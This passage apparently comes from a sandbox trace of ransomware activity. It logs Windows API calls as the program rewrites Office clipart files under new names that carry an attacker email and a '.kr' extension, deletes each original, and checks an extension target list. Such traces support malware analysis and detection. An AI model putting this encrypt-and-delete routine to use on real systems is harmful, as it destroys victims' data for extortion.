lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.674] SetEndOfFile (hFile=0x458) returned 1 [0181.674] CloseHandle (hObject=0x458) returned 1 [0181.676] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.676] SetEndOfFile (hFile=0x3fc) returned 1 [0181.679] CloseHandle (hObject=0x3fc) returned 1 [0181.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0181.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0181.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0181.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0181.680] lstrlenW (lpString=".doc") returned 4 [0181.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.681] lstrlenW (lpString=".docx") returned 5 [0181.681] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.681] lstrlenW (lpString=".pdf") returned 4 [0181.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.681] lstrlenW (lpString=".xls") returned 4 [0181.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.681] lstrlenW (lpString=".xlsx") returned 5 [0181.681] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.681] lstrlenW (lpString=".ppt") returned 4 [0181.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0181.681] lstrlenW (lpString=".zip") returned 4 [0181.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.681] lstrlenW (lpString=".rar") returned 4 [0181.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.681] lstrlenW (lpString=".bz2") returned 4 [0181.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.681] lstrlenW (lpString=".7z") returned 3 [0181.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0181.681] lstrlenW (lpString=".dbf") returned 4 [0181.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0181.681] lstrlenW (lpString=".1cd") returned 4 [0181.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0181.681] lstrlenW (lpString=".jpg") returned 4 [0181.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0181.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0181.681] lstrlenW (lpString=".doc") returned 4 [0181.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.681] lstrlenW (lpString=".docx") returned 5 [0181.682] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.682] lstrlenW (lpString=".pdf") returned 4 [0181.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.682] lstrlenW (lpString=".xls") returned 4 [0181.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.682] lstrlenW (lpString=".xlsx") returned 5 [0181.682] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.682] lstrlenW (lpString=".ppt") returned 4 [0181.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0181.682] lstrlenW (lpString=".zip") returned 4 [0181.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.682] lstrlenW (lpString=".rar") returned 4 [0181.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.682] lstrlenW (lpString=".bz2") returned 4 [0181.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.682] lstrlenW (lpString=".7z") returned 3 [0181.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0181.682] lstrlenW (lpString=".dbf") returned 4 [0181.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0181.682] lstrlenW (lpString=".1cd") returned 4 [0181.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0181.682] lstrlenW (lpString=".jpg") returned 4 [0181.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.682] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0181.682] lstrlenW (lpString="BL00252_.WMF") returned 12 [0181.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0181.683] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=4708) returned 1 [0181.683] CloseHandle (hObject=0x3fc) returned 1 [0181.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x220 [0181.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0181.684] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.684] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0181.684] GetLastError () returned 0x0 [0181.685] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1264, lpOverlapped=0x0) returned 1 [0181.686] WriteFile (in: hFile=0x458, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1270, lpOverlapped=0x0) returned 1 [0181.687] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.687] WriteFile (in: hFile=0x458, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.687] SetEndOfFile (hFile=0x458) returned 1 [0181.688] CloseHandle (hObject=0x458) returned 1 [0181.688] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.688] SetEndOfFile (hFile=0x3fc) returned 1 [0181.691] CloseHandle (hObject=0x3fc) returned 1 [0181.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0181.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0181.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0181.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0181.692] lstrlenW (lpString=".doc") returned 4 [0181.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.692] lstrlenW (lpString=".docx") returned 5 [0181.692] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.692] lstrlenW (lpString=".pdf") returned 4 [0181.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.692] lstrlenW (lpString=".xls") returned 4 [0181.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.692] lstrlenW (lpString=".xlsx") returned 5 [0181.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.692] lstrlenW (lpString=".ppt") returned 4 [0181.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0181.693] lstrlenW (lpString=".zip") returned 4 [0181.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.693] lstrlenW (lpString=".rar") returned 4 [0181.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.693] lstrlenW (lpString=".bz2") returned 4 [0181.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.693] lstrlenW (lpString=".7z") returned 3 [0181.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0181.693] lstrlenW (lpString=".dbf") returned 4 [0181.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0181.693] lstrlenW (lpString=".1cd") returned 4 [0181.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0181.693] lstrlenW (lpString=".jpg") returned 4 [0181.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0181.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0181.693] lstrlenW (lpString=".doc") returned 4 [0181.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.693] lstrlenW (lpString=".docx") returned 5 [0181.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.693] lstrlenW (lpString=".pdf") returned 4 [0181.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.693] lstrlenW (lpString=".xls") returned 4 [0181.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.693] lstrlenW (lpString=".xlsx") returned 5 [0181.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.693] lstrlenW (lpString=".ppt") returned 4 [0181.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0181.694] lstrlenW (lpString=".zip") returned 4 [0181.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.694] lstrlenW (lpString=".rar") returned 4 [0181.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.694] lstrlenW (lpString=".bz2") returned 4 [0181.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.694] lstrlenW (lpString=".7z") returned 3 [0181.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0181.694] lstrlenW (lpString=".dbf") returned 4 [0181.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0181.694] lstrlenW (lpString=".1cd") returned 4 [0181.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0181.694] lstrlenW (lpString=".jpg") returned 4 [0181.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.694] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0181.694] lstrlenW (lpString="BL00254_.WMF") returned 12 [0181.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0181.695] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1736) returned 1 [0181.695] CloseHandle (hObject=0x3fc) returned 1 [0181.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x220 [0181.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0181.696] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.696] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0181.696] GetLastError () returned 0x0 [0181.696] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x6c8, lpOverlapped=0x0) returned 1 [0181.698] WriteFile (in: hFile=0x458, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x6d0, lpOverlapped=0x0) returned 1 [0181.699] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.699] WriteFile (in: hFile=0x458, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.699] SetEndOfFile (hFile=0x458) returned 1 [0181.699] CloseHandle (hObject=0x458) returned 1 [0181.700] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.700] SetEndOfFile (hFile=0x3fc) returned 1 [0181.702] CloseHandle (hObject=0x3fc) returned 1 [0181.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0181.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0181.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0181.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0181.704] lstrlenW (lpString=".doc") returned 4 [0181.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.704] lstrlenW (lpString=".docx") returned 5 [0181.704] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.704] lstrlenW (lpString=".pdf") returned 4 [0181.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.704] lstrlenW (lpString=".xls") returned 4 [0181.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.704] lstrlenW (lpString=".xlsx") returned 5 [0181.704] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.704] lstrlenW (lpString=".ppt") returned 4 [0181.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0181.704] lstrlenW (lpString=".zip") returned 4 [0181.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.704] lstrlenW (lpString=".rar") returned 4 [0181.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.704] lstrlenW (lpString=".bz2") returned 4 [0181.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.704] lstrlenW (lpString=".7z") returned 3 [0181.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0181.704] lstrlenW (lpString=".dbf") returned 4 [0181.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0181.704] lstrlenW (lpString=".1cd") returned 4 [0181.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0181.704] lstrlenW (lpString=".jpg") returned 4 [0181.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0181.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0181.704] lstrlenW (lpString=".doc") returned 4 [0181.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.705] lstrlenW (lpString=".docx") returned 5 [0181.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.705] lstrlenW (lpString=".pdf") returned 4 [0181.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.705] lstrlenW (lpString=".xls") returned 4 [0181.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.705] lstrlenW (lpString=".xlsx") returned 5 [0181.705] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.705] lstrlenW (lpString=".ppt") returned 4 [0181.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0181.705] lstrlenW (lpString=".zip") returned 4 [0181.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.705] lstrlenW (lpString=".rar") returned 4 [0181.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.705] lstrlenW (lpString=".bz2") returned 4 [0181.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.705] lstrlenW (lpString=".7z") returned 3 [0181.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0181.705] lstrlenW (lpString=".dbf") returned 4 [0181.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0181.705] lstrlenW (lpString=".1cd") returned 4 [0181.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0181.705] lstrlenW (lpString=".jpg") returned 4 [0181.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.705] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0181.706] lstrlenW (lpString="BL00261_.WMF") returned 12 [0181.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0181.706] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=12482) returned 1 [0181.706] CloseHandle (hObject=0x3fc) returned 1 [0181.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x220 [0181.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0181.707] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.707] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0181.707] GetLastError () returned 0x0 [0181.707] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x30c2, lpOverlapped=0x0) returned 1 [0182.019] WriteFile (in: hFile=0x458, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x30d0, lpOverlapped=0x0) returned 1 [0182.021] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.021] WriteFile (in: hFile=0x458, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.021] SetEndOfFile (hFile=0x458) returned 1 [0182.021] CloseHandle (hObject=0x458) returned 1 [0182.021] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.021] SetEndOfFile (hFile=0x3fc) returned 1 [0182.025] CloseHandle (hObject=0x3fc) returned 1 